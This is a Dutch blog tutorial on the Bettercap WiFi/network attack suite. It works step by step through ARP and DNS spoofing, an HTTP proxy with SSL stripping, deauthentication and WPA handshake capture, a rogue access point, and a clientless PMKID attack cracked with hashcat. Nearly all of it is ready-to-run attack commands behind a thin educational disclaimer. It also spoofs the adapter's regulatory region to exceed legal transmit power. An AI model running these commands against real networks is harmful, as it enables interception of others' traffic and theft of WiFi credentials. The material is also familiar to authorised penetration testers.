Bettercap


WiFi Hacking is leuk. We hebben er al veel over geschreven en er zijn verschillende tools op de markt om je te helpen bij het hacken. Vandaag gaan we het echter hebben over een hele bijzondere tool namelijk “Bettercap”. Bettercap is bijzonder omdat het een tool is welke verschillende tools combineert in 1 suite. Al deze tools zijn vanuit de CLI te gebruiken en dat maakt Bettercap weer ideaal om te gebruiken op een unattended Raspberry Pi. Bettercap noemt zichzelf “het Zwitserse zakmes voor het hacken van WiFi”. Bettercap claimt een krachtig, gemakkelijk uitbreidbaar framework te zijn voor het hacken van WiFi. Nou, dat is interessant genoeg om even te bekijken toch?

DISCLAIMER: Deze post is gepubliceerd voor educatieve doeleinden. Ik ben niet verantwoordelijk voor potentiele schade of malafide praktijken die met deze kennis worden toegepast. Als je verder leest stem je toe deze informatie alleen voor ethische zaken te gebruiken. Zo niet, stop dan nu met lezen en sluit deze pagina!

Bettercap 2.0 is verkrijgbaar sinds februari 2018 en is volledig geschreven in de “Go” programmeertaal. Dit was een grote verbetering waardoor een systeem minder dependencies nodig had en Bettercap dus als een enkele binary gedistribueerd kon worden voor elk type OS en elke architectuur. Daarnaast zijn er sinds 2.0 vele verbeteringen aangebracht die de performance verbeteren en functioneel een stuk verder gaan.

Bettercap kan nu gebruikt worden voor vele verschillende attack vecors, denk aan:

  • WiFi
  • Bluetooth (low energy)
  • MouseJacking (2.4 GHz)

Bettercap exploit deze attack vectors met o.a. de volgende tools:

  • Netwerk scanning
  • DeAuth aanvallen
  • PMKID Association aanvallen (clientless)
  • Automatische WPA / WPA2 handshake captures
  • Spoofing (ARP, DNS, ICMP, NDP en DHCPc6)
  • Proxies (op pakket niveau, TCP niveau en HTTP/HTTPS applicatie niveau)
  • Snelle poortscanner
  • HID frame injection (met DuckyScript support)
  • Netwerk sniffer
  • Netwerk protocol fuzzer
  • SSL Stripper

Bettercap komt met een duidelijke web-based interface en kan overweg met zowel passive (geen verbonden gebruikers) als active (verbonden gebruikers) netwerken. Passive netwerken worden geëxploiteerd middels PMKID Association aanvallen. Omdat ik op mijn blog nog nooit uitgelegd heb hoe een PMKID Association aanval in zijn werk gaat wil ik deze eerst uitleggen alvorens we verdergaan met Bettercap.

PMKID Association Attacks

In 2018 onthulde de hashcat makers een nieuw type aanval welke slechts 1 pakket vereist en waarbij geen actief verbonden clients benodigd zijn. Deze aanval rust dus niet op het sturen van een DeAuth pakket om vervolgens de WPA handshake te kunnen capturen. Met een PMKID aanval is dus alleen interactie nodig tussen de aanvaller en het access point. Als het access point hier vatbaar voor is dan is het vrijwel onmogelijk om een PMKID aanval te blokkeren.

Deze aanval werkt op vele moderne router omdat deze een frame toevoegen aan het eind van het eerste EAPoL (Extensible Authentication Protocol over LAN) frame welke de AP verzend als wanneer iemand probeert zichzelf te associëren met het AP middels RSN (Robust Security Network). Veel routers sturen hierbij een PMKID frame mee. Deze ziet er als volgt uit:

Het PMKID frame is een afgeleide van de gegevens die op dat moment bekend zijn. Het PMKID frame is namelijk als volgt opgebouwd:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

“PMK Name” is een constante en we weten ook de BSSID van de router en die van de client. Door deze gezamenlijk te hashen ontstaat het PMK ID. De PMK is hetzelfde als wat verkregen wordt na een succesvolle 4-way handshake. Door het PMKID te achterhalen kunnen we middels hashcat het WiFi wachtwoord achterhalen.

Het is niet meer nodig om DeAuth pakketten te versturen. I.p.v. de DeAuth pakketten wordt er gebruik gemaakt van een ander type pakket, namelijk het “wifi.assoc” pakket. Ofwel… het WiFi associatie pakket. Het enige wat we dus moeten doen is “trachten te verbinden met het netwerk”.

In theorie is 1 associatie dus voldoende om het WiFi wachtwoord te achterhalen. Echter, dit werkt alleen maar indien de router het PMKID frame verzend!

PMKID is een zeer interessante aanvalsvector welke goed geïntegreerd zit in Bettercap.

Bettercap Installatie

Bettercap is duidelijk een veel geavanceerdere versie van het verouderde EtterCap. Daarom wordt het hoog tijd om zelf de mogelijkheden te gaan bekijken en om Bettercap te gaan installeren.

Om Bettercap te gaan installeren moet je beschikken over de volgende requirements:

  • Netwerk Adapter welke Packet Injection kan uitvoeren
  • Linux, Mac, Android, BSD of Windows systeem
  • Up-to-date GO framework
  • Libpcap
  • Libusb 1.0-0
  • Libnetfilter-queue (alleen op Linux)

Wij gaan Bettercap op Linux installeren. Wil je Bettercap op een andere distributie installeren kijk dan op de Bettercap installatiepagina https://www.bettercap.org/installation/ voor instructies.

Op Kali Linux is Bettercap al geïnstalleerd of kun je deze installeren middels:

apt-get install bettercap

Voor een handmatige installatie moeten we de pre-compiled binary downloaden van: https://github.com/bettercap/bettercap/releases. We kiezen voor de “bettercap_linux_amd64” distributie.

Dit doen we als volgt:

wget https://github.com/bettercap/bettercap/releases/download/v2.26.1/bettercap_linux_amd64_v2.26.1.zip

Dan pakken we de installatie uit, verplaatsen hem naar de “/usr/local/bin” folder, schonen de bestanden op en controleren de installatie:

unzip bettercap_linux_amd64_v2.26.1.zip
sudo mv bettercap /usr/local/bin/
rm README.md LICENSE.md bettercap_linux_amd64_v2.26.1.zip
bettercap -h

We starten Bettercap via de terminal:

sudo bettercap

Je ziet vervolgens de volgende prompt:

Het help commando toont de nodige interessante informatie:

En zoals deze ook aangeeft zijn de meeste modules momenteel inactief. Om meer informatie over een module te tonen gebruik je “help %module%”.

Zoals je ziet starten de commando’s per module met de naam van de module, dus:

  • WiFi = wifi.
  • Bluetooth LE = ble.
  • HID = hid.
  • Ethernet = net. & syn.
  • WakeUp On Lan = wol.
  • GPS = gps.

Dan heb je ook nog verschillende proxies en servers. Deze eindigen met het achtervoegsel “proxy” of “server”, bijvoorbeeld:

  • .proxy = any.proxy, packet.proxy, tcp.proxy, http.proxy, https.proxy
  • .server = http.server, https.server, mdns.server, mysql.server
  • .etc

Er zit dus een logische opbouw in de commando’s. Om alle modules te bekijken gebruik je:

get *

Om alle functies van een specifieke module te bekijken gebruik je:

get %modulenaam%.*

En om Bettercap te verlaten gebruik je een van de volgende commando’s of de CTRL+C / CTRL+Z toetsencombinatie.

q

exit

quit

Nu we dat voor elkaar hebben installeren we meteen maar even de Bettercap GUI (indien je dit niet fijn vindt kun je deze stap gewoon overslaan).

Verkrijg de URL van de nieuwste versie op: https://github.com/bettercap/ui/releases/tag/v1.3.0

apt-install bettercap-ui

Navigeer naar de Bettercap UI directory:

cd /usr/share/bettercap/ui/

Download de nieuwste UI ZIP:

wget https://github.com/bettercap/ui/releases/download/v1.3.0/ui.zip

Unzip het zip bestand in de ui directory:

unzip ui.zip -d /usr/share/bettercap/ui/

Start Bettercap met de UI:

sudo bettercap -caplet http-ui

De webinterface start op:

http://127.0.0.1:80

Je kunt de webinterface ook over HTTPS starten. Gebruik dan:

sudo bettercap -caplet https-ui

Of je start Bettercap en daarna de HTTP server en de Bettercap API:

sudo bettercap

http.server on 
api.rest on

De default credentials zijn:

Gebruikersnaam:
user

Wachtwoord:
pass

Je kunt nu Bettercap besturen vanaf de webinterface. Gedurende deze post zal ik echter gebruik maken van de CLI.

Werken met Bettercap

Zoals je zag zijn er een ton aan mogelijkheden met Bettercap. Het is niet mogelijk om elke optie hier uit te schrijven. Daarom zullen we een aantal basiszaken hier beschrijven. Wil je meer uit Bettercap halen raad ik je aan om ermee te gaan werken en experimenteren. Of … lees de handleiding (I know… dat doe ik ook nooit).

Basis commando’s
De start commando’s die belangrijk zijn om Bettercap te starten zijn de volgende:

  • -autostart %modules% = Start Bettercap met de opgegeven modules
  • -caplet %filename% = Voer de commando’s uit opgegeven script (caplet) uit
  • -iface %interface% = Bind Bettercap aan een interface
  • -gateway-override %gateway adres% = Gebruik een alternatieve gateway i.p.v. de default gateway
  • -no history = Schakel de interactieve history file (~/.bettercap.history) uit
  • -silent = Laat alleen error logs zien
  • -debug = Zet debugging mode aan
  • -eval = Laat kort de output zien

Dus als ik Bettercap wil starten op WLAN0 met de http-ui (webserver start) caplet zonder de history file aan te vullen en zonder logs te laten zien dan gebruik ik:

sudo bettercap -iface wlan0 -caplet http-ui -no-history -silent

En om kort de help van een module te bekijken kun je de help kort bekijken middels de -eval parameter en vervolgens kun je Bettercap weer automatisch sluiten met het “q” commando. Je kunt dus meerdere Bettercap parameters (als Bettercap gestart is) combineren door ze te scheiden met een punt-komma:

sudo bettercap -eval "help wifi; q"

Zodra Bettercap gestart is zijn dit de basis commando’s:

  • %module% on/off = Schakel een module aan of uit
  • active = Laat de actieve modules en hun instellingen zien
  • sleep %seconden% = Schakelt Bettercap uit voor het aantal opgegeven seconden
  • set %parameter% %waarde% = Stel de waarde in van een specifieke parameter
  • !%command% = Voer een shell commando uit (b.v. !ifconfig)
  • alias %MAC% %naam% = Geef een alias aan een MAC adres
  • read %parameter% %prompt% = Vraag de gebruiker om input en voeg deze toe aan de parameters
  • update.check on = Controleren op nieuwe updates en updaten indien nodig
  • net.show = Laat de huidige netwerkinstellingen van Bettercap zien

Dus om een alias te geven aan een MAC adres:

alias BA:DA:DE:BA:2A:3B Jarno Telefoon

Of om de gebruiker handmatig een target device in te laten vullen voor ARP spoofing:

read arp.spoof.targets "Selecteer een target om te spoofen: "

Om vervolgens alle targets op te vragen kun je weer het “get” commando gebruiken:

get arp.spoof.targets

Starten met juiste interface
Het is altijd raadzaam om Bettercap te starten met de juiste interface, zeker als je het WiFi gaan gebruiken om te sniffen en scannen. Daarnaast start ik hem ook altijd met de webinterface enabled:

sudo bettercap -iface wlan1 -caplet http-ui

Sniffen van hosts ethernet
Om hosts te sniffen op de actieve interface gebruik je een net.probe module:

net.probe on

In bovenstaande voorbeeld blijft Bettercap zoeken naar nieuwe hosts. We kunnen eventueel ook de “ticker” inschakelen. De ticker voert periodiek een aantal commando’s uit. Zonder deze te specificeren zijn dat:

  • clear = ververs scherm
  • net.show = laat netwerkinstellingen en ARP tabel zien

Door dus de ticker in te stellen blijft Bettercap op de achtergrond naar hosts zoeken en wordt op het scherm periodiek een mooi real-time overzicht getoond:

net.probe on

ticker on

We kunnen de tricker functie ook uitbreiden met een ping commando om te kijken of we met het WAN verbonden zijn:

ticker off

set ticker.commands 'clear; net.show; !ping -c 1 google.com >/dev/null 2>&1 && echo "Connected" || echo "Not connected"'

ticker on

Om beide weer uit te schakelen gebruik je:

net.probe off

ticker off

MAC Changer
Bettercap maakt het mogelijk om je MAC adres te veranderen. Ga hiervoor als volgt te werk. Bekijk je interface:

ifconfig

Noteer de naam van de interface (wlan1) en schakel hem uit:

ifconfig wlan1 down

Schakel in Bettercap de MAC changer uit, koppel hem aan de interface en schakel de MAC changer weer aan:

mac.changer off

set mac.changer.iface wlan1

mac.changer on

Tenslotte schakel je de interface weer up:

ifconfig wlan1 up

En je MAC adres is veranderd.

Door de MAC changer weer uit te schakelen verander je je MAC adres weer terug naar default:

mac.changer off

ARP Spoofing
Standaard kunnen we de ARP spoofer inschakelen om het gehele subnet te spoofen. Dit is echter nogal noisy en geen best practise. Je kunt beter een target kiezen om te spoofen. We selecteren dus eerst het target systeem en starten vervolgens de spoofer:

set arp.spoof.targets 192.168.178.99

arp.spoof on

DNS Spoofing
DNS spoofing werkt op een soortgelijke manier als ARP spoofing. Standaard zal DNS spoofing alle domeinen spoofen (set dns.spoof.all true). Maar je kunt dit ook beperken tot een aantal domeinen, bijvoorbeeld:

set dns.spoof.domains hotmail.com, jarnobaselier.nl, xyz.nl

dns.spoof on

Standaard zal de DNS spoofer het IP adres van de gekoppelde NIC gebruiken om de DNS adressen te spoofen. Je kunt hier een webserver op starten om eventueel een site op te hosten:

!systemctl start apache2

set http.server.path /pad/naar/folder

http.server on

Of je kunt de addressen ook binden aan een alternatief IP waar wellicht al een webserver op draait:

set dns.spoof.address %ip-adres%

HTTP Proxy
Om HTTP verkeer te kunnen inspecteren is het ideaal om een HTTP proxy te starten. Verkeer komt langst Bettercap en kan hierdoor inzichtelijk gemaakt worden.

http.proxy on

Alvorens je dit kunt doen moet uiteraard ARP spoofing actief zijn en moet de sniffer draaien. Om ook SSL verkeer te inspecteren kun je SSL Strip activeren.

set http.proxy.sslstrip true

De volledige set aan commando’s om HTTP verkeer van een target te kunnen bekijken is dan:

set http.proxy.sslstrip true
set net.sniff.verbose false
set arp.spoof.targets 192.168.178.99
arp.spoof on
http.proxy on
net.sniff on

BLE – Bluetooth Low Energy devices verkennen

Net zoals het ethernet en WiFi spectrum kun je ook het bluetooth spectrum verkennen met het commando:

ble.recon on

Om vervolgens met een device te verbinden en te onderzoeken gebruik je zijn MAC adres:

ble.enum 46:F5:CC:D3:C4:78

En om vervolgens data te schrijven naar het bluetooth device gebruik je “ble.write” in samenwerking met het UUID en de data (bytes – ffffffffffffffff)

ble.write 46:F5:CC:D3:C4:78 234afbd5e3b34536a3fe72f43a22bd41 ffffffffffffffff

WiFi verkennen
Om WiFi te verkennen is het zaak je wireless netwerkkaart (bij voorkeur geschikt voor packet injection zoals de Alfa AWUS036NH) in monitor mode te plaatsen. Dit doe je als volgt:

airmon-ng check kill
airmon-ng start wlan1

Om later monitor mode uit te schakelen gebruik je:

airmon-ng stop wlan1mon
systemctl daemon-reload
dhclient wlan1
systemctl restart network-manager

Als je WiFi in monitor mode staat start je Bettercap opnieuw:

sudo bettercap -iface wlan1mon -caplet http-ui

En vervolgens kun je het WiFi spectrum scannen op access points en wireless clients:

wifi.recon on

Uiteraard kun je ook slechts beperkte signalen scannen:

wifi.recon off
wifi.recon.channel 3,6,9,11
wifi.recon on

Maak de channel lijst eventueel later weer schoon met het commando:

wifi.recon.channel clear

Wanneer je klaar bent met scannen genereer je een duidelijk overzicht met:

wifi.show

Uiteraard kun je ook tussendoor een update krijgen van de status door de ticker in te stellen:

set ticker.commands 'clear; wifi.show; net.show; events.show 20'

ticker on

WPA Handshake capturen
Uiteraard kunnen we met Bettercap een handshake capturen. Om dit te doen gaan we als volgt te werk:

We stellen de netwerksniffer in op “verbose” zodat we al het verkeer voorbij zien komen. Vervolgens stellen we de filter in op 0x888e frames. Dit zijn de handshake frames. De output wordt weggeschreven naar een PCAP file. Daarna starten we de sniffer:

set net.sniff.verbose true

set net.sniff.filter ether proto 0x888e

set net.sniff.output /root/wpa.pcap

net.sniff on

Vervolgens ga ik de aanval starten door mijn wifi.recon op het juiste kanaal (10) te starten en het BSSID van mijn router te selecteren. Bettercap zal dit kanaal monitoren tot de handshake gecaptured en opgeslagen is in het PCAP bestand:

wifi.recon.channel 10

wifi.recon 9c:c7:a6:ba:2b:c1

wifi.recon on

Om dit process te versnellen kunnen we DeAuth pakketten versturen naar de clients van het access point:

wifi.deauth 9c:c7:a6:ba:2b:c1

De logging laat zien wanneer de handshake gecaptured is:

Deze is vervolgens terug te vinden in het PCAP bestand:

Rogue Access Point
Bettercap maakt het zelfs mogelijk om je eigen rogue access point op te zetten (met en zonder encryptie). Een simpel voorbeeld:

set wifi.ap.ssid ValseWiFi
set wifi.ap.bssid AB:B2:E1:BA:DE:AD
set wifi.ap.channel 9
set wifi.ap.encryption true
set wifi.region Netherlands
set wifi.txpower 20
set wifi.show.manufacturer true
wifi.recon on; wifi.ap

Client-less PMKID Attack
En dit is waar ik de hele post naartoe wilde werken. De PMKID (Pairwise Master Key IDentifier) aanval. Zoals al gezegd hoeven we hiervoor helemaal geen clients te vervelen met DeAuth pakketten. Sterker nog… we hebben helemaal geen clients nodig.

Allereerst gaan we de “recon” inschakelen:

wifi.recon on

Daarna gaan we de clients alfabetisch ordenen:

set wifi.show.sort clients desc

Vervolgens gaan we het gewenste kanaal selecteren waarop we gaan luisteren.

wifi.recon.channel 10

En tenslotte gaan we ervoor zorgen dat we willen associeren met elke access point op channel 10.

wifi.assoc all

Eventueel kunnen we een ticker instellen voor tijdige updates:

set ticker.commands "clear;wifi.show"
ticker on

Dus in zijn totaal:

wifi.recon on
set wifi.show.sort clients desc
set ticker.commands "clear;wifi.show"
ticker on
wifi.recon.channel 10
wifi.assoc all

Mocht je tijdens dit alles de volgende melding krijgen “could not set interface wlan1mon txpower to 30, ‘Set Tx Power’ requests not supported” dan kun je het volgende uitvoeren om je adapter in te stellen op een land (BZ / GY / NZ / VE) welke 13 kanalen en 30.0dBm power accepteren:

#Schakel de netwerk adapter uit
ifconfig wlan1mon down

#Bekijk voor welke regio je adapter momenteel ingesteld is:
sudo iw reg get

#Stel de adapter in voor een geaccpteerd land met 30 dBm:
sudo iw reg set BZ

#Controleer de instelling:
sudo iw reg get

#Stel de nieuwe output power in:
sudo iw dev wlan1mon set txpower fixed 30mBm

#Zet de adapter weer aan:
sudo ip link set wlan1mon up

In Wireshark kunnen we de gevonden PMKID hashes terugvinden met het volgende displayfilter:

(eapol && wlan.rsn.ie.pmkid)

Vervolgens gaan we ons PCAP bestand omzetten in een PMKID bestand waarin alle gevonden hashes vermeld worden:

hcxpcaptool -z /root/bettercap-wifi-handshakes.pmkid /root/bettercap-wifi-handshakes.pcap

En dan gaan we het bestand proberen te kraken met hashcat:

hashcat -m 16800 bettercap-wifi-handshakes.pmkid -a 0 --kernel-accel=1 -w 4 --force 'passwordlist.txt'

Conclusie

PMKID is een zeer effectieve methode om de wachtwoorden van unauthenticated netwerken te achterhalen zonder andere clients te DeAuthen. Uiteraard zijn er ook andere tools zoals WiFite (wifite –pmkid) die dit type aanval kunnen simuleren maar Bettercap werkt in mijn ervaring gewoon een stuk beter en is een stuk makkelijker te tweaken. En dat telt eigenlijk voor alles wat Bettercap doet. Bettercap is volledig te customizen, werkt intuïtief en heeft heel veel power onder de motorkap. Bettercap beperkt zich niet alleen tot WiFi maar kan ook prima overweg met ethernet en BLE. Wat mij betreft is Bettercap absoluut de opvolger van Ettercap, air%%%-ng en vele andere WiFi tools. Bettercap kost even wat meer tijd om te leren maar ik hoop dat deze post geholpen heeft om de basis te leggen zodat je snel up-and-running bent. Probeer het… Bettercap is simpelweg gewoon…. beter!

Ik heb deze post uiteraard weer met liefde geschreven. Dus… geef wat liefde terug! Deel mijn bericht op je Social Media en/of op je website en… if you like… geef ook ff een like! Super bedankt en tot de volgende!

Like this content?

If you found this article interesting or useful, consider supporting my work by buying me a coffee. It helps me continue creating valuable security content!

Buy me a coffee